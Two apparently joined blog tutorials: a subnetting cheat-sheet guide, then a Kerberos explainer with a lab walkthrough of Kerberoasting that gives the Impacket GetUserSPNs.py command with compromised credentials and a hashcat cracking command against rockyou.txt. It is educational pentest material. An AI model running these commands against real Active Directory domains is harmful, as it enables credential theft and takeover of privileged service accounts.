Subnetting is one of those topics in networking that many struggle with, beginners and even experienced professionals alike.

I’ve taken multiple courses, and with each one, a new piece of subnetting clicked into place. Eventually, I came across a way of organizing and visualizing subnetting that finally helped everything fall into place.

This article shares that exact method. It’s not another subnetting basics guide, it’s a cheat sheet-based approach for people who understand the theory but struggle when solving actual questions.

A better Pentester would not skip subnetting because it gives them an edge of understanding and mapping the given network out.

“You can break a thing better, if you know where all it’s joints are.”

What can you expect from this article?

The article doesn’t aim to teach the networking foundations or the topic “Subnetting” itself from scratch to the readers. It instead jumps straight into the Cheat Sheet for subnetting.

The article first shows how to build this cheat sheet from scratch in such a way that it’s easy to remember.

My personal claim is that the reader should be able to create this cheat sheet table in almost 5 minutes from scratch for any exams or network environment that they’ve been access to, for testing.

Then the article will walk readers through some subnetting networks and solve questions related to it. In the process understand the Maths of subnetting, all while referring this cheat sheet table and a method ( discussed while solving the questions only ) so readers can too build it from scratch in the exams they’re preparing for or the network they are testing and refers it to solve given problems right.

Who This Article is For?

This article is not for complete beginners. It’s written for readers who:

• Already know the fundamentals of IP addressing, subnetting, CIDR, and subnet masks

• Understand the difference between public/private IPs, the OSI/TCP-IP models, MAC vs IP, etc.

• Have studied subnetting but still struggle with solving real subnetting questions, especially under pressure (like in exams or CTFs)

If you haven’t reviewed subnetting in a while, I recommend giving yourself a quick refresher before continuing.

Suggestion

If you’ve decided to read this, commit to going through it thoroughly and slowly. Don’t skim.

Practice the questions and follow the cheat sheet creation process. Trust me, by the end, things will start clicking like never before.

Creating the Cheat Sheet

So in this section you’ll learn how to create this cheat sheet.

You might be wondering “why would I need to know that I can just create this by memorizing it” and you’re correct to think so but still I personally believe if somebody tries to mug this table up without noticing the pattern, there’s a high probability, they will mess things up while creating the table, and that, in any exams with subnet questions, would be too bad.

This section intends to make the pattern known to the readers, so it becomes easy to memorize because this way readers won’t be afraid regarding creating the whole table itself, their mind will be focused on memorizing the initial pattern which will make the entire table fall in place itself without them trying to recall anything.

It becomes that easy with this table in hand. So shall we start now?

First open up an MS excel sheet, this is where we’ll work.

The first pattern: CIDR bits

We start with writing down CIDR bits from 1 to 32 split in four rows, each row of eight bits that adds to the previous total, like this

Leave two rows gap in-between the next CIDR bits rows as shown in the figure above.

NOTE: While going through this section some things might look scattered, might not make much sense but it will all make sense while the question walk-through section.

Also remember that what we’re creating a cheat sheet, try to just learn how to create this so that you can solve questions, and focus less on trying to make sense of this table.

The second pattern: Hosts bits

Now we’ll write down the total hosts possible for given CIDR’s (subnet mask) network.

This time we’ll start from bottom to top, the hosts number will be placed right below the CIDR bits, like this

Here we started from bottom right, with 1 then kept doubling when we moved right or top side of the table.

Simply use the equation of =previous*2 in the current cell to calculate the hosts number in the table, like this:

The third pattern: Subnet mask octet in focus

In this we’ll add a pattern common for entire rows in pair of CIDR bits and Hosts. Look at the table to understand better

So for each CIDR and corresponding hosts number, we have subnet mask.

The x in the subnet mask represents the position that will be changed based on the CIDR bits taken.

For example,

• For the third CIDR and Hosts pair, we have 255.255.x.0 as the common subnet mask, there x is unkown, and it will be decided based on the given network with specific CIDR.

• So let’s keep one network in memory, 192.168.0.0./20. When the table’s complete we’ll find out the exact subnet mask value for the network later.

The fourth pattern

In this, we’ll first write down the hosts ( 1 to 128, from the last row in the table we’ve created so far ), like

Corresponding to that we’ll write subnet (CIDR) bits value ( each bit in the octet switched on, corresponds to some value which I assume known to readers ), starting from 128, we’ll diagonally add subnet (CIDR) bit value to the number of hosts like this:

Next to it will be,

and if we keep doing that we’ll end up with this

So our final cheat sheet table is

I’ll show you how to refer this and solve any subnetting questions.

So keep this in your head’s buffer.

Obtaining Subnet mask ( from CIDR bits )

Example Discussion ( from the third pattern )

Go back to the third pattern, there we were going to find the exact subnet mask value for the network 192.168.0.0./20.

As the table’s complete, we can refer and easily do that now.

It’s so simple, that you might would have been able to guess it on your own and if you haven’t then here’s the discussion.

Find the CIDR bits ( subnet bits ) that is equal to 20, we’re doing so because we have /20 network,

So we see that the CIDR bits /20 appears in the 255.255.x.0 section of the table. So subnet’s two octet is already fixed except the x.

Now to find x, we just refer the subnet bits value from the cheat sheet, like this

and that’s it, we now have the subnet mask value of the network, which is 255.255.240.0 ( which is equal to /20 in CIDR notation ).

Now let’s learn to use this cheat sheet

Learn to use this cheat sheet table properly

In this section of the article, we’ll refer this cheat sheet table and solve questions to learn the proper way of cheating without really cheating ( seriously ).

Question 1: Small network (CIDR /24 to /32 range)

Generate 3 subnets from the network 192.168.10.0/27.
List the following for each of the subnets:

• Sub-Network ( x.x.x.x/27 )

• Subnet Mask

• Number of Hosts

• First IP

• Last IP (Broadcast IP)

Method 1: Small Network Increment Method

• This is my preferred method while working with smaller networks (higher CIDR value).

• This method is effective only with small sized networks, with larger networks, this method can be calculation heavy which may lead to error but I’m discussing it so you can understand the subnetting calculation better through this cheat sheet. Just trust me, and read through the article. It will pay off.

• The method 2 ( discussed later ) is our main method. It works with any size of network ( with any CIDR range ).

First subnet

NOTE: in the table, “Network” is simply the sub-net and “network” is network address ( first address in the sub-net ). They are not the same.

Subnet mask

So we got the subnet mask: 255.255.255.224

Hosts per subnet

If we see the hosts corresponding to the CIDR bits of 27, we see 32 hosts possible per sub-net

But First IP ( network address ) and the last IP ( Broadcast address ) is reserved in each sub-net (or network). First IP is used for identifying the sub-network and the last is used for broadcasting messages to other hosts in the sub-network.

So formula for total number of possible hosts in any network is

Total usual hosts number ( IP address ) = CIDR corresponding hosts - 2

That gives us a total of 30 hosts ( 30 usable IP addresses in the sub-net ).

Network address ( network )

It should be pretty easy, as it’s the first address in the sub-network.

So our Network ( network address ) is 192.168.10.0, cool!

Broadcast address ( broadcast )

This too should be easy for us.

We know that the last address is braodcast, and we also know that the total hosts in the sub-net is 30 + 1 network address + 1 broadcast address, which equals to 32 ( as pointed in the cheat sheet ).

So we simply add total number of hosts including the two reserved host IPs ( 32 ), to the network address, starting the count to 32 from the network address itself.

So in this sub-net

• The 1st address (host) is 192.168.10.0

• The 2nd address (host) is 192.168.10.1

• The 10th address (host) is 192.168.10.9

• And the 32nd address is 192.168.10.31 ( because we started the host number count to add from IP ending with zero aka., the network address )

So the last IP which is 192.168.10.31 is the broadcast address.

The break down above was done to make readers understand this counting and addition better. You won’t need to do this yourself as you practice a few questions.

So the first subnet we got is

We have to derive 2 more sub-nets from this.

Second Subnet

First of all, we need to figure out what’s the next network ( subnet ).

This is actually easy, we just need to refer to the previous sub-net’s broadcast address, which is 192.168.10.31. So whatever IP comes after that is our new sub-net address, which is 192.168.10.32/27

Of course, the /27 stays there in each sub-nets we derive from the original starting network

Subnet mask and hosts

Well, because the CIDR stays same, /27, the subnet mask value stays the same too.

The same goes for hosts in the network, it will stay the same too, because of the CIDR bits didn’t change and hence the corresponding hosts value stayed the same too.

So we have 255.255.255.224 subnet mask and 30 hosts. This will be the same for next sub-net we derive in this question.

So we’re now just left with network address and broadcast address IP identification.

Network address

It’s pretty simple, as mentioned the first address is the network address and here the first address would be 192.168.10.32 ( take it directly from the Network 192.168.10.32/27 )

Broadcast address

We’ll do yet again, the same thing, which is adding 32 hosts including the network address ( 192.168.10.32 ), to find the last address in the given subnet ( which is broadcast ).

So 192.168.10.32 ( the network address ) + 31 ( not 32, because we’re counting the network address separately ) = broadcast address

broadcast address => 192.168.10.32+31 = 192.168.10.63

So our next subnet has the followings in it

Third Subnet

Now I’m not gonna discuss this but list everything, you should be able to make sense of it easily now

• Network - 192.168.10.64/27

• subnet mask - 255.255.255.224

• hosts ( excluding network addr and broadcast addr ) - 30

• network address ( network ) - 192.168.10.64

  • first address in the sub-network

• broadcast address - 192.168.10.(64+31) = 192.168.10.95

  • To find out the last address ( broadcast address ), add 31 to the network address ( 64 + 31 )

So our final three subnets derived from the given network 192.168.10.0/27 are:

This method is easier when working with small networks but the general way of working with any size of network requires a different common method ( common because it works even in the larger networks ).

Method 2: Subnet Block Span Method ( Main Method )

This method brings one small change, everything else stays the same as the 1st method.

This one change is just a simple formula that makes it easier for us to identify where the next sub-network starts.

While working with larger networks ( with higher number of hosts per sub-net ), this formula becomes very effective.

You’ll see, in the second question ( /12 CIDR, higher number of hosts, larger network question ), we’ll use this method only.

Let’s continue with the same network from the last subnet we identified from 1st method.

The network is 192.168.10.96/27. We have to identify the next three subnets and for each we need to state

• subnet itself ( Network )

• subnet mask

• hosts

• network address

• broadcast address

We’re using the same methods for identifying subnet mask, hosts number, and network address.

And then we’re going to use a formula to identify the next subnet based on which we can also identify broadcast address.

So first, our table looks like this

The formula

let’s look at the CIDR and subnet mask. It is /27 and 255.255.255.224 respectively.

Looking at /27, We know that the first 3 octets (255.255.255) are fixed, and our working/focus octet is the fourth one 224.

Using the formula:

Total numbers of IP/hosts ( including the network addr/id and the broadcast addr ) in an octet - the subnet mask octet in focus ( 4th octet value ) = Subnet Block Span Size

256 ( starting from 0 to 255 = 256 ) - 224 ( 4th octet, octet in focus ) = Subnet’s Block Span Size

So that gives us;

32 = Subnet’s Block Span Size

Now let me explain this.

Subnet Block Span Size helps you identify where each new subnet starts in the relevant octet and where it ends in the given octets. Doesn’t make sense, right?

That’s okay, for now refer Subnet Block Span Size as Subnet Block Size. The name Subnet Block Span Size will make sense when you’ll work with bigger networks. I’ll be going there in the next section of solving a question related to bigger network with CIDR /12.

For now just consider it as Subnet Block Size, which is defined below.

Subnet’s block size is the size of each sub-network we’ll be getting from a /27 CIDR, means each sub-network will be able to accomodate a total of 32 hosts including network id/addr and broadcast addr, leaving us with 30 usable IPs.

So now we increase the value of base address ( network address ) by 32 starting the count from network address as 1.

That leaves us with these as our each sub-networks’ broadcast address:

• 192.168.10.95+32 = 192.168.10.127

• 192.168.10.127+32 = 192.168.10.159

• 192.168.10.159+32 = 192.168.10.191

• 192.168.10.191+32 = 192.168.10.223

• 192.168.10.223+32 = 192.168.10.255 ( the last IP possible in the last sub-network )

Optional: Complete this table, try to make as many subnets as you can in this. You already have the broadcast IPs but don’t look at the answer here. Try to do it on your own. Maybe take one another question, but come back soon. Next content in this article is important.

Method 2 on larger network ( lower CIDR value )

Let’s just assume a network x.x.x.x/12.

So CIDR /12 gives us 255.240.0.0 subnet mask. Great!

Now we know 1st octet is fixed, but here the 2nd octet is in focus.

Okay so now we do the same thing

256 - 240 = subnet block size ( Subnet Block Span Size)

16 = Subnet block size ( Subnet Block Span Size)

So we’ve got each networks of 16 hosts size, with 14 usable IPs.

Hope you’ve got that much. Now we’ll go solve a question using this method with the cheat sheet table together, for a larger network with the same CIDR /12, which would have way higher number of hosts in it.

Let’s go..

This was easier as the network was small. It gets a bit more messy when the network’s size increases. That’s why we’ll look at one more example question which would be for larger networks.

Hope you’ve understood how to use the table.

Don’t worry if you feel a bit overwhelmed, it’s actually pretty easy. You just have to solve a few questions, then you’ll be feeling pretty comfortable by the end.

I’ll also give you routine to follow so you can practice a few questions in a very specific way, making the the cheat sheet table embedded in your head.

Question 2: larger network (CIDR /8 to /16 range)

Now brace yourselves. This one’s gonna be mildly more trippy than the last one, in fact that’s the point of bringing these larger network in this article, but this article’s aim is to make it way easier for you. You already have been introduced the method 2 and that’s what we need.

I’m just gonna show you how to implement the second method for larger networks, and you’ll be good to go.

Don’t be scared, I’ve got you. Just read through, understand the lines and you’ll be good to go.

And by trippy, I mean mildly more subnetting Maths and calculation, That’s it. So don’t get nervous because of that, yeah?

Given network is 10.0.0.0/12.

Derive 3 subnets from this network and for each subnet, provide:

• Network ( x.x.x.x/12 )

• Subnet Mask

• Number of Hosts

• First IP ( network addr )

• Last IP ( broadcast addr )

Cheat Sheet Table ( for reference )

Method 2 Formula

256 - the subnet mask octet in focus = Subnet/Network Block Size

First Subnet

We’ll use the cheat sheet and quick identify subnet mask, hosts number, and the network address.

Subnet mask

It should be easy by now to identify this and obvious but still I’m gonna repeat how to refer the cheat sheet through the screenshot below.

First octet is fixed, we know that. x is in focus, that’s where we put the subnet value.

So our subnet is 255.240.0.0.

hosts

This too should be easy.

So we have total of 1048576 hosts. Usable hosts would 2 less (network address and the broadcast address, first and last IP), 1048574.

network address

The first IP of course which is 10.0.0.0

Broadcast address

Now we’re left with broadcast address identification.

But wait, we already know total number of hosts per sub-network, 1048576, don’t we?

Yep we do but do we have the block size and can you tell identify the broadcast address? No you can’t, and if you could then it would take a lot of time and calculation.

You actually have the block size ( total number of hosts per network ) but laying it in IP 4 octet format is what’s turns challenging here. So let’s make it easy..

The formula is still the same, but we get to have a different perspective on it while working with larger networks. let’s look through that perspective..

The perspective is the working/focus octet in subnet mask mapped with network’s IP. This is very important, just keep that in mind.

Let’ me explain.

256 - the subnet mask octet in focus = Subnet/Network Block Span Size

So this is our formula.

/12 = 255.240.0.0

And the value that we need to subtract from 256, “the subnet mask octet in focus” value, is 240.

So what we get is,

256 - 240 = Sub-network Block Span Size

16 = Sub-network Block Span Size

So where do we add this 16 value ?

Well that’s where we discuss about the Sub-net Block Span Size ( instead of referring to it as Subnet block size, which mildly incorrect ).

I told you earlier that the perspective change to look at this formula is the subnet octet in focus mapped with network IP. And that in fact is where we’ll put the 16.

So we have 255.240.0.0 subnet mask and network IP 10.0.0.0.

2nd octet is the focus octet in subnet, hence focus octet in network IP would be the 2nd octet as well.

So we’ll add the value 16 into the second octet of the network IP starting to count from network address ( as the network address is included in this 16 hosts, mentioned in the call-out above ), 10.15.0.0

So we have, 10.15.0.0.

Now 1st octet was fixed, second octet was in focus, which we’ve identified. Now we need the last IP - broadcast IP, and we know that each octet’s last value is 255, so we simply fill that in.

So we get 10.15.255.255. And that’s our last IP - Broadcast IP.

Here’s another perspective to look through, to see how total hosts:

• 10.0.0.0 to 10.0.0.255

  • 10.0.1.0 to 10.0.1.255

  • 10.0.2.0 to 10.0.2.255

  • …. 10.0.255.255, next is 10.1.0.0

• 10.1.0.0 to 10.1.255.255

• 10.2.0.0 to 10.2.255.255

• …. 10.240.255.255 to 10.255.255.255

So, according to this, we can calculate the Total hosts for the sub-network we’ve extracted like this:

Total hosts for 10.0.0.0/12 = 16×256×256( 0 to 255 )

Total hosts for 10.0.0.0/12 = 4096×256

Total hosts for 10.0.0.0/12 = 1048576

Usual hosts/IP = 1048574

Hope that makes sense. Some things might start to feel repetitive, that’s intentional, so things get hammered in your head.

That gives us the next address in the network, 10.16.0.0/12

We know for this too, the subnet mask and hosts number would be the same.

Network address too would be the first IP itself, i.e., 10.16.0.0

So let’s calculate the second broadcast IP quickly,

• 10.16.0.0 is the base IP

• We need to add 16 starting from base IP in the octet that’s in focus ( 2nd octet )

• So 10.15+16.0.0 = 10.31.0.0

• To reach the last IP, fill the remained octet to it’s highest value possible, 255.

• That gives us the last IP - 10.31.255.255

That’s gives us our next sub-network

Now, you go have a try on the next one on your own. It’s easy, I know you can do this.

So that’s all of it.

That’s where Sub-netting content of the article stops. I’ve given all of what I had related to sub-netting here.

5 day Practice Plan

I want you to get the most out of this article that’s why I’m sharing a plan that worked for me.

It takes five days, and you’ll rock all sub-netting questions like it’s now your forte.

If you fail on 30th day, which is highly unlikely but if it happens. Don’t be bothered. Re-do, make a custom plan that works for you.

This doesn’t necessarily would work for everyone, but it did or me.

You’ll get it for sure then.

So that would all from my side.

If this guide helped you understand subnetting better or even made it finally click, then I'd love to hear from you.

A quick message or comment on LinkedIn would mean a lot.

Thanks for reading. Happy subnetting!

See You then..

What can you expect from this article?

This article breaks down the working of Kerberos to its tiniest bits in a beginner friendly way.

Later in the article, I discuss how an attacker under very specific condition can exploit Kerberos Ticketing system using a technique called Kerberoasting.

The article doesn’t include lab build used for Kerberoasting. It includes a basic network structure and environment brief, required to understand the concept. If you guys would want me to make detailed lab guide separately, then let me know on linkedin or here.

Prerequisites

I assume no knowledge of Active Directory from readers as I explain each topics on the go or keep the technical terms to minimal ( while also explaining those ) but having a bit of familiarity with AD would be helpful.

Special Credit

The diagrams below showing Kerberos authentication flow is taken from TryHackMe. It is the best possible diagram that I could find to match the level of breakdown I’ve done on Kerberos in this article. I do not own these images and give full credit to them.

Okay, now let’s get on with it!

So first of all, What is Kerberos?

Kerberos word is derived from Greek mythology where the name is referred to a 3-headed dog that guards the gate of underworld ( no dead leaves through this gate or no living enters through it ). In the mythology, it gatekeeps the underworld. And that’s the same thing the Kerberos protocol does here, it gatekeeps the Active Directory domain network. Let’s see what Kerberos is technically.

It is the default authentication protocol used in a MS Windows Active Directory environment that enables the user authenticated once to access different services without needing to authenticate again for service access ( Single Sign On ).

It works by giving users tickets which they can present to the resource ( service ) that they want to access proving that they already have been authentication. Think of tickets as "now authorized to use or access".

In AD environment, the entity that handles authentication and ticket generation is called Key Distribution Center ( KDC ). Kerberos uses a central authority and that’s Key Distribution Center (KDC). KDC comes inbuilt in the Domain Controller.

But wait, what’s Domain Controller?

Well, it is about time I introduced you to a few important Active Directory components necessary to grasp Kerberoasting. So before I tell you what Domain Controller is, you’ll need to understand the Active Directory a bit.

So what’s Active Directory?

Active Directory (AD) is a directory service by Microsoft that manages and authenticates users, computers, and resources in a Windows domain network ( you’ll understand what a domain network is when I explain what the domain is and show how a domain is created later ).

It uses LDAP ( Lightweight Directory Access Protocol ) for directory access and Kerberos for authentication.

The core service is Active Directory Domain Services (AD DS), running on Domain Controllers (DCs). Don’t know what an AD DS or a DC is? Let’s find that out below.

This AD section is bit of a detour from the topic of the article, Kerberos. Those who want to skip it can continue reading from “Why does Kerberos use Tickets?”

Important Active Directory Components

This section is optional to those who’re familiar with Active Directory Concepts.

If I started talking about Active Directory in detail then this article would turn pretty lengthy so I’m only explaining the few required components of AD which will make Kerberoasting easier to understand.

Before I explain, let’s see how a Windows Server after installation is setup to use Active Directory. This will make things pretty easy to understand.

So assuming that I’ve downloaded Windows Server 2022 ISO image file and have installed it on Virtual Machine, and then have booted it up

The first screen that you see after server boot is:

Now we need to setup a few things. You don’t need to understand these things while you setup or read the setup. Just read how it’s done for now. The terms in the setup section that you don’t understand like forests, AD DS, Domain Controller etc will be explained later ( My aim here to introduce you to those terms only and how they come in play when setting the AD up ) so don’t worry about it, for now.

I’ve renamed my PC ( server ) VM to HYDRA-DC and rebooted it.

At the time the local server is at its default, it has nothing configured and hence is not serving anything in the network.

Setting Up core service of AD : AD DS ( Active Directory Domain Services )

The following series of screenshot shows the steps to install AD DS on the server:

HYDRA-DC is the only server PC ( virtual machine ).

next to the confirmation page

after a bit, you’ll be led to results page. The installation of AD DS is done.

Now to configure Domain Controller, let’s start with the results page.

Setting up Domain Controller ( Promoting the server to Domain Controller )

Now as soon as the core service of Active Directory, AD DS is installed. We’ll be given option to configure the domain controller too. The flow makes sense right?

Now the next few screenshots will show the steps to create a domain controller and a domain too:

Click on “Promote this server to a domain controller”

Doing so will open the following up:

Now we can’t choose first two options as we don’t have an existing domain or an existing forest either so choose the “Add a new forest”. I’ll explain what a forest is, in a bit.

So we’re going to create a new forest and it’s gonna have just one domain in it, named as MARVEL.local (and that is the first domain in the forest hence will be called the Root domain)

next, fill the password.

Now next, skip to the Prerequisites Check:

click install. After installation it will reboot and now we can login to the new as domain admin.

As the domain we created was MARVEL.local, the admin account for that would be MARVEL\Administrator

So now we’ve seen how Domains, AD DS, and Domain Controller are setup.

Let’s now try to understand briefly what are these.

Domain

Simply put, it’s a logical grouping of objects ( machines, users etc ) that share the same database. So it works like a boundary, any object inside this boundary ( domain ) has access to the resources within this boundary ( domain ).

Example name of a domain would be: redteamers.local, a domain can have child domains too like blog.redteamers.local and test.redteamers.local. And this structure of parent and child domains forms what is called a tree

Tree

Tree is a special hierarchical structure formed based on Parent and Child domain that looks like the following:

In trees, parent and child domain both trust each other, this trust is 2 way ( called 2 way transitive trust ).

Forest

In lab setup section, we came across something called Forest.

If I try to explain it in the simplest words, a forest is a group of domain trees linked together by trust relationships, where each domain tree has its own hierarchy.

AD DS ( Active Directory Domain Service )

The core service of AD that enables a server’s directory system and managed by AD DS itself. What’s a directory in AD’s Context? Think of Directory like a database that keeps records of everything ( literally everything ) in the network. For example, AD DS will manage directory for users, computers, domains, trusts between those domains, permissions, groups etc.

The directory is stored on Domain Controller, only managed by AD DS. so What’s a Domain Controller?

Domain Controller

Every Domain in a tree or a forest has at least one Domain Controller. Yes there can be multiple DC to manage single domain.

DC has few important roles which includes:

• Storing the directory ( AD DS managed directory ), mentioned priviously.

• Providing authentication and authorization services

• replicate/reflect the updates in the domain and the forest that the domain is part of.

So that’s it.

At this point I want to show you a comparison between a few components, which will further clarify the concepts:

These three are correlated, but the prime part of it all is DC. All these three are at the same machine.

That’s most of what we needed to understand for things up ahead.

We’ve deviated quite a bit, so let’s get back at Kerberos. You now know what Kerberos is but there’s a question that needs answered before we proceed further.

Why does Kerberos use tickets?

Tickets help prevent passing credential over the network hence making the authentication more secure ( not entirely secure though ).

This ticket system helps verify a user's identity and allows services ( that the user wants to access ) to trust users without repeatedly asking for passwords.

In the Kerberos flow discussed up ahead, you’ll see that credentials ( hash ) are never passed over the network while authenticate, instead a signed ( encrypted ) tickets are passed.

Assume a network of multiple workstations ( each with users aka clients ) and a central server ( which has KDC inbuilt ) in a windows environment network. One of the client starts authentication process and it goes something like:

Kerberos working flow

Below comes the entire Kerberos authentication flow, I recommend that you read and refer the corresponding image simultaneously to properly grasp the concept. Be warned, it gets lengthy. But I’ve got you.

1️⃣ User Requests TGT ( Ticket Granting Ticket ):

In this, user(client) sends its username and a timestamp (encrypted with the key derived from user's password) to the KDC, requesting a TGT ( Ticket Granting Ticket ), a type of ticket that, when presented to the next authorized entity ( KDC again ), will grant another type of ticket ( in simpler words, a ticket that grants another type of ticket ).

NOTE: timestamps are used in kerberos because the tickets generated in this are set to expire after a certain period, it helps prevent other attacks ( like replay attacks ).

2️⃣ KDC’s Response to user’s TGT request

KDC receives the TGT request and after user validation it sends back the requested TGT along with a session key together encrypted with krbtgt hash ( hash derived from krbtgt account - kerberos TGT account, an inbuilt account in KDC responsible for assigning tickets ) and a session key encrypted using user's hash key.

Clearing something that might be confusing for some readers:

A thing here that needs to be made clear is that the same session key is sent together with TGT ( encrypted using krbtgt hash ) and another one separately by encrypting it with user's hash.

This is done because TGT can’t be decrypted by user and hence the session key ( and TGT ) won’t be accessible to the user but if the same session key is sent separately by encrypting it with a key that user has ( user’s hash ), it will be able to decrypt the encrypted session key and use it in the next steps of the Kerberos authentication.

I’ve highlighted the same session keys in the response below ( yellow keys are same session keys ):

Look at the entire diagram below to understand it better.

NOTE - here TGT can't be decrypted by the user requesting it as it doesn't have the key ( krbtgt hash ). krbtgt account, is only at KDC which is the part of Domain Controller.

1st and 2nd request/response together looks like:

( image credit - tryhackme )

3️⃣ Reqeusting TGS

User first decrypts the session key received in the previous response using it's own hash, then it sends a request including username and timestamp ( together encrypted using the decrypted session key ), the TGT ( that it received in the previous response ) and the SPN ( Service Principle Name includes service details that it wants to access, here it's MSSQL server and the server that hosts it )

4️⃣ KDC’s Response to user’s request for TGS

KDC receives the request and verifies the encrypted TGT first by decrypting it with krbtgt hash.

Once that's done, it will generate another ticket, TGS ( Ticket Granting Service, a ticket that grants access to service ) and encrypts it using service owner hash ( In MS Active Directory environment, a service also has an associated account called as service account. So what's being referred to as service owner hash here is same as service account user's hash ).

There’s another key generated here called Svc Session Key. The encrypted TGS also contains this Svc Session Key ( service Session key ) in it.

The same Svc Session Key is separately encrypted using the session key ( the key to which user has so it can decrypt it and use it in the next step ).

The blue key in the diagram ( Svc Session key ) below follows the similar type of process as the session key ( yellow key ) in the 2nd step above ( refer to the response in the previous diagram and compare the yellow keys from it to the blue keys in this step, you’ll understand it ).

User after receiving the response first decrypts the encrypted Svc Session Key using the Session Key ( yellow key ). It uses yellow to decrypt and get the blue key. Then the following happens.

5️⃣ Authentication to the Service

User when wanting to access the service will now send it’s username and timestamp encrypted together with the decrypted Svc Session Key, blue key ( received in previous step ).

And with that it will take the TGS received in the previous step and forward it to the Service Server ( SRV ) just as it received it ( remember the user doesn’t need to decrypt TGS, it just needs to forward it to the Service Server ).

Ther Service Server will now first use Service account user’s hash ( Service Owner hash ) and will try to decrypt the TGS. If it’s a valid TGS, it will successfully be decrypted.

Decryption will provide the Service Server; the TGS itself and the blue key ( the Svc Session Key ).

The Svc Session Key will then be used to decrypt the username and timestamp. This will help Service identify the user who is supposed to be given access to it’s service and for what period of time is this ticket ( TGS or service ticket ) valid.

After this period the service access to the user will be terminated mostly ( Access isn't forcefully cut off, but future requests with expired tickets are denied ).

And that is the entire working of Kerberos authentication. A pretty good protocol, involving quite a few keys and tickets just to authenticate a single user. That sounds like a protocol almost entirely secure, yes you’re right, almost it is. Almost!

So, the entire Kerberos authentication flow looks something like following when summed up in one image:

Kerberos Flow Summary

I hope you understand how Kerberos works now.

Now we’ll look at how Kerberos can be exploited by attacker using Kerberoasting, which comparatively is easy to understand if you’ve read the Kerberos section and understood the flow well.

Kerberoasting - bypassing 3-headed GateKeeper

Now that you have a full understanding of Kerberos, let’s see how to do Kerberoasting.

What’s the purpose of Kerberoasting?

Remember the typical flow of Kerberos? Well, in that flow, an attacker just needs to get to the 4th step i.e., getting a TGS is the goal attacker intends to achieve while attacking Kerberos.

Why, how’s that going to be helpful?

The attacker aim is to get the TGS because TGS is encrypted using Service account hash ( Service Owner hash ). After receiving TGS the attacker’s intends to decrypt the server’s account hash ( service account hash, same thing ). So in conclusion, compromising Service Account is Attacker’s final target.

Why would the attacker want to decrypt or compromise service account hash? What’s so special about it?

There’s a few reason why would the attacker want to compromise Service Account, but the main reason is that most service accounts are not configured/created keeping least privilege in mind and they often are added in the Domain Admin group ( giving the service running and the associated service account, admin level privileges ).

The Domain Admins don’t want to handle this assigning precise permissions to the service account as and when needed, and so, to avoid that, they simply put the Service account in the Domain Admin group.

Specific Condition Kerberoasting requires

If you have read everything so far then it should be obvious what attacker needs for Kerberoasting to be a successful attack.

Assuming that the attacker is in the target network of multiple workstations ( PC ) and a D.C. ( Server ) with a single domain in a forest

1. It is first required that the attacker has already compromised any standard user from the Active Directory environment ( typically, from any of the workstations ). It doesn’t matter what privileges the compromised account holds, it just needs to be a valid user account from the target Active Directory environment. In the hands-On section above, fcastle is the compromised user of the MARVEL.local domain.

2. Service accounts needs to be the members of Domain Admin group. More than often it is going to be the case that it will have the Domain Admin privileges,

   • but it needs to be mentioned this separately that it is possible that the domain admin has followed least privilege and has assigned very precise permissions to the Service account instead of adding it straight to the Domain Admin Group.

That’s mostly it.

Hands On - How to do Kerberoasting as an attacker ( Pentester )

There are a few tools out there that can be used to do Kerberoasting but I personally have experience with using Impacket’s GetUserSPNs.py ( I’ve included the links, you may go ahead and clone the repo and install it locally on your Kali VM, if you’re following along ).

Lab Scenario

Consider a network of multiple workstations and a Domain Controller ( named HYDRA-DC ) joined to a single domain ( named MARVEL.local ). I, attacker, have compromised one of the accounts in the domain through a workstation with the fcastle and now have its credentials and its access.

Network that I as an attacker, am a part of: 192.168.57.0/24

fcastle is the user that we’ve compromised ( the required compromised standard user for the attack to be successful, as mentioned previously in the Kerberoasting’s requirement )

I’ve found Domain Controller’s ( hosting KDC ) IP in the network, 192.168.57.250 ( using enumeration ).

Getting the TGS ticket:

In a kali linux terminal that has Impacket installed and GetUserSPNs.py available, run the following:

sudo GetUserSPNs.py MARVEL.local/fcastle:password@1 -dc-ip 192.168.57.250 -request

Breakdown

• GetUserSPNs.py is the tool name from Impacket we’re using.

• Then we’re providing the compromised account details. MARVEL.local is the domain name fcastle is the user with password “password@1”.

• Then we provide Domain Controller IP ( -dc-ip ) which is where KDC is located. Our request for TGS following TGT will be made to this DC’s KDC using fcastle’s credential ( a valid user of MARVEL domain )

GetUserSPNs’s Output

Output Breakdown

• The output shows Service Principle Name ( service details ) like it’s name, what groups is it a member of etc

We can see in the SPN above that the service is a SQL Service.

• IMPORTANT FOR US: this portion of output is what we needed. The next long portion in the screenshot that looks like a long hash of something is TGS.

Do you notice tgs in the initial part of the ticket?

Also, keep the following highlighted part “23” after “$krb5tgs$” from TGS in my mind, it will soon be used to explain a thing in the next section

• Anyways, now that we have the TGS, let’s grab it and store it in a file.

Brute Forcing the TGS ticket using hashcat

We have the TGS, what now?

• Attacker’s next step is to brute force TGS with a good password wordlist, converting every password to hash one by one, and trying every hash on TGS and see if it’s able to decrypt a part of TGS.

• If it’s able to decrypt part of TGS, that means we’ve found the valid password for Service account ( because that’s what was used to encrypt TGS ).

• This process is handled by hashcat. We just have to run the command with the right mode ( modes in hashcat means the type of protocol hash we’re targeting, based on that the hashcat will run those passwords from wordlist through the same protocol hash function so that it computes the right hash ).

Hashcat will take TGS ( krbt.txt ) and wordlist as inputs.

It will take password from wordlist, look at the mode selected and run the password through the corresponding hash algorithm to get a password hash, try that password hash on TGS. That’s the flow it will follow.

cracking the TGS ticket hash

First let’s find out what mode we need to select for the TGS we’ve obtained.

Assuming that you have hashcat installed. Run the following in the terminal

sudo hashcat --help | grep Kerberos

There’s 3 different modes available for TGS-REP, which one should we choose?

Let’s look the column with etype.

etype ( encryption type )

So look at the initial portion of the TGS

• You see the number “23” after $krb5tgs, that number tells us what algorithm is used by KDC to generate these tickets. That number is what’s called etype.

There are three numbers “etypes” ( encryption types ) that you’ll see there typically. I’ve mentioned those numbers and their corresponding encryption algorithm with corresponding hashcat mode number below

• 23 = RC4 → 13100 Mode

• 17 = AES128 → 19600 Mode

• 18 = AES256 → 19700 Mode

So we’ll choose the mode 13100 as it’s the one with etype 23 ( that matches our TGS )

hashcat -m 13100 krbt.txt /usr/share/wordlists/rockyou.txt

We’ve run the hashcat using the mode 13100 on krbt.txt ( TGS ) and have provided rockyou.txt as wordlist.

Output

so we got service account ( which is a domain admin as it is a member of domain admin group ) cred “MYpassword123#”.

Why does Kerberoasting in real-world matter?

Kerberoasting is dangerous because it allows attackers to extract service account hashes without sending suspicious traffic across the network. As cracking is done offline, detection becomes harder.

